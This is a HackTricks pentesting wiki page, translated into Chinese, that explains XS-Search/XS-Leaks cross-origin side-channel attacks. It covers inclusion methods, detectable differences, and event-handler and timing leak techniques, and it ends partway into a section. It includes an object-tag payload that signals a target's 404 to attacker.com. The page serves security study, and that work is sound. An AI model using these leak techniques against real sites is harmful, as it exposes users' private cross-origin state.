hacktricks
  • 👾Welcome!
    • HackTricks
  • 🤩Generic Methodologies & Resources
    • Pentesting Methodology
    • External Recon Methodology
      • Wide Source Code Search
      • Github Dorks & Leaks
    • Pentesting Network
      • DHCPv6
      • EIGRP Attacks
      • GLBP & HSRP Attacks
      • IDS and IPS Evasion
      • Lateral VLAN Segmentation Bypass
      • Network Protocols Explained (ESP)
      • Nmap Summary (ESP)
      • Pentesting IPv6
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
    • Pentesting Wifi
      • Evil Twin EAP-TLS
    • Phishing Methodology
      • Clone a Website
      • Detecting Phishing
      • Phishing Files & Documents
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Acquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • File/Data Carving & Recovery Tools
      • Pcap Inspection
        • DNSCat pcap analysis
        • Suricata & Iptables cheatsheet
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • Decompile compiled python binaries (exe, elf) - Retreive from .pyc
        • Browser Artifacts
        • Deofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Interesting Windows Registry Keys
    • Brute Force - CheatSheet
    • Python Sandbox Escape & Pyscript
      • Bypass Python sandboxes
        • LOAD_NAME / LOAD_CONST opcode OOB Read
      • Class Pollution (Python's Prototype Pollution)
      • Python Internal Read Gadgets
      • Pyscript
      • venv
      • Web Requests
      • Bruteforce hash (few chars)
      • Basic Python
    • Exfiltration
    • Tunneling and Port Forwarding
    • Threat Modeling
    • Search Exploits
    • Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Shells - Windows
      • Shells - Linux
      • Full TTYs
  • 🐧Linux Hardening
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • Arbitrary File Write to Root
      • Cisco - vmanage
      • Containerd (ctr) Privilege Escalation
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Docker Security
        • Abusing Docker Socket for Privilege Escalation
        • AppArmor
        • AuthZ& AuthN - Docker Access Authorization Plugin
        • CGroups
        • Docker --privileged
        • Docker Breakout / Privilege Escalation
          • release_agent exploit - Relative Paths to PIDs
          • Docker release_agent cgroups escape
          • Sensitive Mounts
        • Namespaces
          • CGroup Namespace
          • IPC Namespace
          • PID Namespace
          • Mount Namespace
          • Network Namespace
          • Time Namespace
          • User Namespace
          • UTS Namespace
        • Seccomp
        • Weaponizing Distroless
      • Escaping from Jails
      • euid, ruid, suid
      • Interesting Groups - Linux Privesc
        • lxd/lxc Group - Privilege escalation
      • Logstash
      • ld.so privesc exploit example
      • Linux Active Directory
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Node inspector/CEF debug abuse
      • Payloads to execute
      • RunC Privilege Escalation
      • SELinux
      • Socket Command Injection
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Wildcards Spare tricks
    • Useful Linux Commands
    • Bypass Linux Restrictions
      • Bypass FS protections: read-only / no-exec / Distroless
        • DDexec / EverythingExec
    • Linux Environment Variables
    • Linux Post-Exploitation
      • PAM - Pluggable Authentication Modules
    • FreeIPA Pentesting
  • 🍏MacOS Hardening
    • macOS Security & Privilege Escalation
      • macOS Apps - Inspecting, debugging and Fuzzing
        • Introduction to x64
        • Introduction to ARM64v8
      • macOS AppleFS
      • macOS Bypassing Firewalls
      • macOS Defensive Apps
      • macOS GCD - Grand Central Dispatch
      • macOS Kernel & System Extensions
        • macOS IOKit
        • macOS Kernel Extensions
        • macOS Kernel Vulnerabilities
        • macOS System Extensions
      • macOS Network Services & Protocols
      • macOS File Extension & URL scheme app handlers
      • macOS Files, Folders, Binaries & Memory
        • macOS Bundles
        • macOS Installers Abuse
        • macOS Memory Dumping
        • macOS Sensitive Locations & Interesting Daemons
        • macOS Universal binaries & Mach-O Format
      • macOS Objective-C
      • macOS Privilege Escalation
      • macOS Process Abuse
        • macOS Dirty NIB
        • macOS Chromium Injection
        • macOS Electron Applications Injection
        • macOS Function Hooking
        • macOS IPC - Inter Process Communication
          • macOS MIG - Mach Interface Generator
          • macOS XPC
            • macOS XPC Authorization
            • macOS XPC Connecting Process Check
              • macOS PID Reuse
              • macOS xpc_connection_get_audit_token Attack
          • macOS Thread Injection via Task port
        • macOS Java Applications Injection
        • macOS Library Injection
          • macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
          • macOS Dyld Process
        • macOS Perl Applications Injection
        • macOS Python Applications Injection
        • macOS Ruby Applications Injection
        • macOS .Net Applications Injection
      • macOS Security Protections
        • macOS Gatekeeper / Quarantine / XProtect
        • macOS Launch/Environment Constraints & Trust Cache
        • macOS Sandbox
          • macOS Default Sandbox Debug
          • macOS Sandbox Debug & Bypass
            • macOS Office Sandbox Bypasses
        • macOS SIP
        • macOS TCC
          • macOS Apple Events
          • macOS TCC Bypasses
            • macOS Apple Scripts
          • macOS TCC Payloads
        • macOS Dangerous Entitlements & TCC perms
        • macOS FS Tricks
          • macOS xattr-acls extra stuff
      • macOS Users
    • macOS Red Teaming
      • macOS MDM
        • Enrolling Devices in Other Organisations
        • macOS Serial Number
      • macOS Keychain
    • macOS Useful Commands
    • macOS Auto Start
  • 🪟Windows Hardening
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • Abusing Tokens
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • COM Hijacking
      • Dll Hijacking
        • Writable Sys Path +Dll Hijacking Privesc
      • DPAPI - Extracting Passwords
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • Privilege Escalation with Autoruns
      • RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
      • SeDebug + SeImpersonate copy token
      • SeImpersonate from High To System
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
        • Shadow Credentials
      • AD Certificates
        • AD CS Account Persistence
        • AD CS Domain Escalation
        • AD CS Domain Persistence
        • AD CS Certificate Theft
      • AD information in printers
      • AD DNS Records
      • ASREPRoast
      • BloodHound & Other AD Enum Tools
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • Diamond Ticket
      • DSRM Credentials
      • External Forest Domain - OneWay (Inbound) or bidirectional
      • External Forest Domain - One-Way (Outbound)
      • Golden Ticket
      • Kerberoast
      • Kerberos Authentication
      • Kerberos Double Hop Problem
      • LAPS
      • MSSQL AD Abuse
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying / Brute Force
      • PrintNightmare
      • Force NTLM Privileged Authentication
      • Privileged Groups
      • RDP Sessions Abuse
      • Resource-based Constrained Delegation
      • Security Descriptors
      • SID-History Injection
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • Windows Security Controls
      • UAC - User Account Control
    • NTLM
      • Places to steal NTLM creds
    • Lateral Movement
      • AtExec / SchtasksExec
      • DCOM Exec
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WinRM
      • WmicExec
    • Pivoting to the Cloud
    • Stealing Windows Credentials
      • Windows Credentials Protections
      • Mimikatz
      • WTS Impersonator
    • Basic Win CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView/SharpView
    • Antivirus (AV) Bypass
  • 📱Mobile Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Bypass Biometric Authentication (Android)
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable application
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Install Burp Certificate
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Tapjacking
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • iOS App Extensions
      • iOS Basics
      • iOS Basic Testing Operations
      • iOS Burp Suite Configuration
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Extracting Entitlements From Compiled Application
      • iOS Frida Configuration
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
    • Cordova Apps
    • Xamarin Apps
  • 👽Network Services Pentesting
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
    • Pentesting SAP
    • Pentesting VoIP
      • Basic VoIP Protocols
        • SIP (Session Initiation Protocol)
    • Pentesting Remote GdbServer
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP Smuggling
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 49 - Pentesting TACACS+
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Angular
      • Apache
      • Artifactory Hacking guide
      • Bolt CMS
      • Buckets
        • Firebase Database
      • CGI
      • DotNetNuke (DNN)
      • Drupal
      • Electron Desktop Apps
        • Electron contextIsolation RCE via preload code
        • Electron contextIsolation RCE via Electron internal code
        • Electron contextIsolation RCE via IPC
      • Flask
      • NodeJS Express
      • Git
      • Golang
      • GWT - Google Web Toolkit
      • Grafana
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • ImageMagick Security
      • JBOSS
      • JIRA
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • PHP Tricks
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
        • PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
        • PHP SSRF
      • Python
      • Rocket Chat
      • Special HTTP headers
      • Source code Review / SAST Tools
      • Spring Actuators
      • Symfony
      • Tomcat
        • Basic Tomcat Info
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • WAF Bypass
      • Web API Pentesting
      • WebDav
      • Werkzeug / Flask Debug
      • Wordpress
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
      • rpcclient enumeration
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • Cisco SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 700 - Pentesting EPP
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1414 - Pentesting IBM MQ
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
      • Types of MSSQL Users
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 3702/UDP - Pentesting WS-Discovery
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 4786 - Cisco Smart Install
    • 4840 - OPC Unified Architecture
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS) and DNS-SD
    • 5432,5433 - Pentesting Postgresql
    • 5439 - Pentesting Redshift
    • 5555 - Android Debug Bridge
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 5985,5986 - Pentesting OMI
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8086 - Pentesting InfluxDB
    • 8089 - Pentesting Splunkd
    • 8333,18333,38333,18444 - Pentesting Bitcoin
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
      • Memcache Commands
    • 15672 - Pentesting RabbitMQ Management
    • 24007,24008,24009,49152 - Pentesting GlusterFS
    • 27017,27018 - Pentesting MongoDB
    • 44134 - Pentesting Tiller (Helm)
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • 🕸️Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
      • CSP bypass: self + 'unsafe-inline' with Iframes
    • Cookies Hacking
      • Cookie Tossing
      • Cookie Jar Overflow
      • Cookie Bomb
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
      • SS-Leaks
    • Dependency Confusion
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
        • Client Side Prototype Pollution
        • Express Prototype Pollution Gadgets
        • Prototype Pollution to RCE
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • PHP - Deserialization + Autoload Classes
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
      • Python Yaml Deserialization
      • JNDI - Java Naming and Directory Interface & Log4Shell
    • Domain/Subdomain takeover
    • Email Injections
    • File Inclusion/Path traversal
      • phar:// deserialization
      • LFI2RCE via PHP Filters
      • LFI2RCE via Nginx temp files
      • LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
      • LFI2RCE via Segmentation Fault
      • LFI2RCE via phpinfo()
      • LFI2RCE Via temp file uploads
      • LFI2RCE via Eternal waiting
      • LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula/CSV/Doc/LaTeX/GhostScript Injection
    • gRPC-Web Pentest
    • HTTP Connection Contamination
    • HTTP Connection Request Smuggling
    • HTTP Request Smuggling / HTTP Desync Attack
      • Browser HTTP Request Smuggling
      • Request Smuggling in HTTP/2 Downgrades
    • HTTP Response Smuggling / Desync
    • Upgrade Header Smuggling
    • hop-by-hop headers
    • IDOR
    • Integer Overflow
    • JWT Vulnerabilities (Json Web Tokens)
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • NoSQL injection
    • OAuth to Account takeover
    • Open Redirect
    • Parameter Pollution
    • Phone Number Injections
    • PostMessage Vulnerabilities
      • Blocking main page to steal postmessage
      • Bypassing SOP with Iframes - 1
      • Bypassing SOP with Iframes - 2
      • Steal postmessage modifying iframe location
    • Proxy / WAF Protections Bypass
    • Race Condition
    • Rate Limit Bypass
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MS Access SQL Injection
      • MSSQL Injection
      • MySQL injection
        • MySQL File priv to SSRF/RCE
      • Oracle injection
      • Cypher Injection (neo4j)
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Languages
        • RCE with PostgreSQL Extensions
      • SQLMap - Cheetsheat
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
      • URL Format Bypass
      • SSRF Vulnerable Platforms
      • Cloud SSRF
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
      • Jinja2 SSTI
    • Reverse Tab Nabbing
    • Unicode Injection
      • Unicode Normalization
    • WebSocket Attacks
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • Abusing Service Workers
      • Chrome Cache to XSS
      • Debugging Client Side JS
      • Dom Clobbering
      • DOM Invader
      • DOM XSS
      • Iframes in XSS, CSP and SOP
      • JS Hoisting
      • Misc JS Tricks & Relevant Info
      • PDF Injection
      • Server Side XSS (Dynamic PDF)
      • Shadow DOM
      • SOME - Same Origin Method Execution
      • Sniff Leak
      • Steal Info JS
      • XSS in Markdown
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search/XS-Leaks
      • Connection Pool Examples
      • Connection Pool by Destination Example
      • Cookie Bomb + Onerror XS Leak
      • URL Max Length - Client Side
      • performance.now example
      • performance.now + Force heavy task
      • Event Loop Blocking + Lazy images
      • JavaScript Execution XS Leak
      • CSS Injection
        • CSS Injection Code
  • ⛈️Cloud Security
    • Pentesting Kubernetes
    • Pentesting Cloud (AWS, GCP, Az...)
    • Pentesting CI/CD (Github, Jenkins, Terraform...)
  • 😎Hardware/Physical Access
    • Physical Attacks
    • Escaping from KIOSKs
    • Firmware Analysis
      • Bootloader testing
      • Firmware Integrity
  • 🎯Binary Exploitation
    • Basic Binary Exploitation Methodology
      • ELF Basic Information
      • Exploiting Tools
        • PwnTools
    • Stack Overflow
      • Pointer Redirecting
      • Ret2win
        • Ret2win - arm64
      • Stack Shellcode
        • Stack Shellcode - arm64
      • Stack Pivoting - EBP2Ret - EBP chaining
      • Uninitialized Variables
    • ROP - Return Oriented Programing
      • BROP - Blind Return Oriented Programming
      • Ret2csu
      • Ret2dlresolve
      • Ret2esp / Ret2reg
      • Ret2lib
        • Leaking libc address with ROP
          • Leaking libc - template
        • One Gadget
        • Ret2lib + Printf leak - arm64
      • Ret2syscall
        • Ret2syscall - ARM64
      • Ret2vDSO
      • SROP - Sigreturn-Oriented Programming
        • SROP - ARM64
    • Array Indexing
    • Integer Overflow
    • Format Strings
      • Format Strings - Arbitrary Read Example
      • Format Strings Template
    • Heap
      • Use After Free
      • Heap Overflow
    • Common Binary Exploitation Protections & Bypasses
      • ASLR
        • Ret2plt
        • Ret2ret & Reo2pop
      • CET & Shadow Stack
      • Libc Protections
      • Memory Tagging Extension (MTE)
      • No-exec / NX
      • PIE
        • BF Addresses in the Stack
      • Relro
      • Stack Canaries
        • BF Forked & Threaded Stack Canaries
        • Print Stack Canary
    • Write What Where 2 Exec
      • WWW2Exec - atexit()
      • WWW2Exec - .dtors & .fini_array
      • WWW2Exec - GOT/PLT
      • WWW2Exec - __malloc_hook
    • Common Exploiting Problems
    • Windows Exploiting (Basic Guide - OSCP lvl)
    • Linux Exploiting (Basic) (SPA)
  • 🔩Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Word Macros
  • 🔮Crypto & Stego
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
    • Stego Tricks
    • Esoteric languages
    • Blockchain & Crypto Currencies
  • 🦂C2
    • Salseo
    • ICMPsh
    • Cobalt Strike
  • ✍️TODO
    • Other Big References
    • Rust Basics
    • More Tools
    • MISC
    • Pentesting DNS
    • Hardware Hacking
      • I2C
      • UART
      • Radio
      • JTAG
      • SPI
    • Radio Hacking
      • Pentesting RFID
      • Infrared
      • Sub-GHz RF
      • iButton
      • Flipper Zero
        • FZ - NFC
        • FZ - Sub-GHz
        • FZ - Infrared
        • FZ - iButton
        • FZ - 125kHz RFID
      • Proxmark 3
      • FISSURE - The RF Framework
      • Low-Power Wide Area Network
      • Pentesting BLE - Bluetooth Low Energy
    • Industrial Control Systems Hacking
    • Burp Suite
    • Other Web Tricks
    • Interesting HTTP
    • Emails Vulnerabilities
    • Android Forensics
    • TR-069
    • 6881/udp - Pentesting BitTorrent
    • Online Platforms with API
    • Stealing Sensitive Information Disclosure from a Web
    • Post Exploitation
    • Cookies Policy
由 GitBook 提供支持
在本页
  • 基本信息
  • 可检测的差异
  • 包含方法
  • 泄漏技术
  • XSinator 工具和论文
  • 基于时间的技术
  • 事件处理程序技术
  • Onload/Onerror
  • Onload Timing
  • unload/beforeunload Timing
  • Sandboxed Frame Timing + onload
  • #ID + error + onload
  • Javascript执行
  • CORB - Onerror
  • onblur
  • postMessage广播
  • 全局限制技术
  • WebSocket API
  • 支付 API
  • 计时事件循环
  • 繁忙事件循环
  • 连接池
  • 按目标的连接池
  • 性能API技术
  • 错误泄漏
  • 样式重新加载错误
  • 请求合并错误
  • 空白页面泄漏
  • XSS审计泄漏
  • X-Frame泄漏
  • 下载检测
  • 重定向开始泄漏
  • 重定向持续时间泄漏
  • CORP 泄漏
  • 服务工作者
  • 缓存
  • 网络持续时间
  • 错误消息技术
  • 媒体错误
  • CORS错误
  • SRI错误
  • CSP违规/检测
  • 缓存
  • CSP指令
  • CORP
  • CORB
  • CORS error on Origin Reflection misconfiguration
  • Readable Attributes Technique
  • Fetch Redirect
  • COOP
  • URL Max Length - Server Side
  • URL Max Length - Client Side
  • 最大重定向次数
  • 历史记录长度
  • 具有相同 URL 的历史记录长度
  • 帧计数
  • HTMLElements
  • HTML 元素泄露的信息
  • CSS 属性
  • CSS 历史
  • ContentDocument X-Frame Leak
  • Download Detection
  • Partitioned HTTP Cache Bypass
  • 手动重定向
  • 使用AbortController进行fetch
  • 脚本污染
  • 服务工作者
  • 获取时间
  • 跨窗口时间
  • 使用HTML或重新注入
  • 悬挂标记
  • 图像延迟加载
  • 图像延迟加载基于时间
  • ReDoS
  • CSS ReDoS
  • CSS注入
  • 防御
  • 参考资料
  1. Pentesting Web

XS-Search/XS-Leaks

上一页XSSI (Cross-Site Script Inclusion)下一页Connection Pool Examples

最后更新于1年前

使用 可以轻松构建和自动化工作流,利用全球最先进的社区工具。 立即获取访问权限:

基本信息

XS-Search 是一种利用侧信道漏洞来提取跨源信息的方法。

此攻击涉及的关键组件包括:

  • 易受攻击的 Web: 意图提取信息的目标网站。

  • 攻击者的 Web: 攻击者创建的恶意网站,受害者访问该网站,托管利用程序。

  • 包含方法: 用于将易受攻击的 Web 包含到攻击者的 Web 中的技术(例如,window.open、iframe、fetch、带有 href 的 HTML 标签等)。

  • 泄漏技术: 用于通过包含方法收集的信息来区分易受攻击的 Web 状态差异的技术。

  • 状态: 攻击者旨在区分易受攻击的 Web 两种潜在状态。

  • 可检测的差异: 攻击者依赖于推断易受攻击的 Web 状态的可观察变化。

可检测的差异

可以分析几个方面来区分易受攻击的 Web 的状态:

  • 状态码: 区分跨源的各种 HTTP 响应状态码,如服务器错误、客户端错误或身份验证错误。

  • API 使用: 识别页面间Web API 的使用,揭示跨源页面是否使用特定的 JavaScript Web API。

  • 重定向: 检测到导航到不同页面,不仅是 HTTP 重定向,还包括由 JavaScript 或 HTML 触发的导航。

  • 页面内容: 观察HTTP 响应主体或页面子资源的变化,例如嵌入帧的数量或图像大小的差异。

  • HTTP 标头: 注意特定 HTTP 响应标头的存在或可能的值,包括诸如 X-Frame-Options、Content-Disposition 和 Cross-Origin-Resource-Policy 等标头。

  • 时间: 注意两种状态之间的一致时间差异。

包含方法

  • 框架: 诸如 iframe、object 和 embed 等元素可以直接将 HTML 资源嵌入到攻击者的页面中。如果页面缺乏框架保护,JavaScript 可以通过 contentWindow 属性访问被框架化资源的 window 对象。

  • 弹出窗口: window.open 方法在新标签页或窗口中打开资源,为 JavaScript 提供一个遵循 SOP 后可以与方法和属性交互的窗口句柄。弹出窗口通常用于单点登录,绕过目标资源的框架和 cookie 限制。但是,现代浏览器限制弹出窗口的创建到某些用户操作。

  • JavaScript 请求: JavaScript 允许使用 XMLHttpRequests 或 Fetch API 直接请求目标资源。这些方法提供对请求的精确控制,例如选择是否跟随 HTTP 重定向。

泄漏技术

  • 事件处理程序: 在 XS-Leaks 中的一个经典泄漏技术,事件处理程序如 onload 和 onerror 提供有关资源加载成功或失败的见解。

  • 错误消息: JavaScript 异常或特殊错误页面可以直接提供泄漏信息,要么通过错误消息本身,要么通过区分其存在与不存在。

  • 全局限制: 浏览器的物理限制,如内存容量或其他强制浏览器限制,可以在达到阈值时发出信号,作为泄漏技术。

  • 全局状态: 可以利用与浏览器的全局状态(例如,History 接口)的可检测交互。例如,浏览器历史记录中的条目数量可以提供有关跨源页面的线索。

  • 性能 API: 此 API 提供当前页面的性能详细信息,包括文档和加载资源的网络时间,从而推断请求的资源。

  • 可读属性: 一些 HTML 属性是可跨源读取的,可用作泄漏技术。例如,window.frame.length 属性允许 JavaScript 计算跨源网页中包含的帧数。

XSinator 工具和论文

排除的 XS-Leaks: 我们不得不排除依赖服务工作者的 XS-Leaks,因为它们会干扰 XSinator 中的其他泄漏。此外,我们选择排除依赖特定 Web 应用程序中的配置错误和漏洞的 XS-Leaks。例如,跨源资源共享(CORS)配置错误、postMessage 泄漏或跨站脚本。此外,我们排除了基于时间的 XS-Leaks,因为它们经常受到速度慢、嘈杂和不准确的影响。

基于时间的技术

一些以下技术将使用时间作为检测网页可能状态差异的过程的一部分。在Web浏览器中有不同的测量时间的方法。

事件处理程序技术

Onload/Onerror

  • 包含方法:Frames, HTML Elements

  • 可检测的差异:状态码

  • 摘要:如果尝试在onerror/onload事件中加载资源,当资源成功/失败加载时,可以推断出状态码。

代码示例尝试从JS中加载脚本对象,但也可以使用其他标签,如对象、样式表、图像、音频。此外,还可以直接注入标签,并在标签内声明onload和onerror事件(而不是从JS中注入)。

这种攻击还有一个无需脚本的版本:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

在这种情况下,如果未找到 example.com/404,将加载 attacker.com/?error。

Onload Timing

  • Inclusion Methods: HTML Elements

  • Detectable Difference: Timing (generally due to Page Content, Status Code)

Onload Timing + Forced Heavy Task

这种技术与前一种类似,但攻击者还将在答案为正或负时强制执行某些操作以花费相关的时间,并测量该时间。

unload/beforeunload Timing

  • Inclusion Methods: Frames

  • Detectable Difference: Timing (generally due to Page Content, Status Code)

Sandboxed Frame Timing + onload

  • Inclusion Methods: Frames

  • Detectable Difference: Timing (generally due to Page Content, Status Code)

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • 包含方法: 框架

  • 可检测差异: 页面内容

  • 更多信息:

